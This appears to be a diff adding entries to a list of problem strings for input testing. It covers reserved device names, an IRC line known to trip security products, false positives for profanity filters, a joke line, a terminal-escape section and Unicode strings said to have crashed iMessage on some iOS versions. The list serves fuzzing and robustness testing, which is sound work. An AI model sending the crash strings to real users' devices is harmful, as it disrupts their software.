+A:
+ZZ:
+COM1
+LPT1
+LPT2
+LPT3
+COM2
+COM3
+COM4
+
+#   IRC specific strings
+#
+#   Strings that may occur on IRC clients that make security products freak out
+
+DCC SEND STARTKEYLOGGER 0 0 0
+
+#	Scunthorpe Problem
+#
+#	Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)
+
+Scunthorpe General Hospital
+Penistone Community Church
+Lightwater Country Park
+Jimmy Clitheroe
+Horniman Museum
+shitake mushrooms
+RomansInSussex.co.uk
+http://www.cum.qc.ca/
+Craig Cockburn, Software Specialist
+Linda Callahan
+Dr. Herman I. Libshitz
+magna cum laude
+Super Bowl XXX
+medieval erection of parapets
+evaluate
+mocha
+expression
+Arsenal canal
+classic
+Tyson Gay
+Dick Van Dyke
+basement
+
+#	Human injection
+#
+#	Strings which may cause human to reinterpret worldview
+
+If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.
+
+#	Terminal escape codes
+#
+#	Strings which punish the fools who use cat/type on this file
+
+Roses are red, violets are blue. Hope you enjoy terminal hue
+But now...for my greatest trick...
+The quick brown fox... [Beeeep]
+
+#	iOS Vulnerabilities
+#
+#	Strings which crashed iMessage in various versions of iOS
+
+Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
+🏳0🌈️
+జ్ఞ‌ా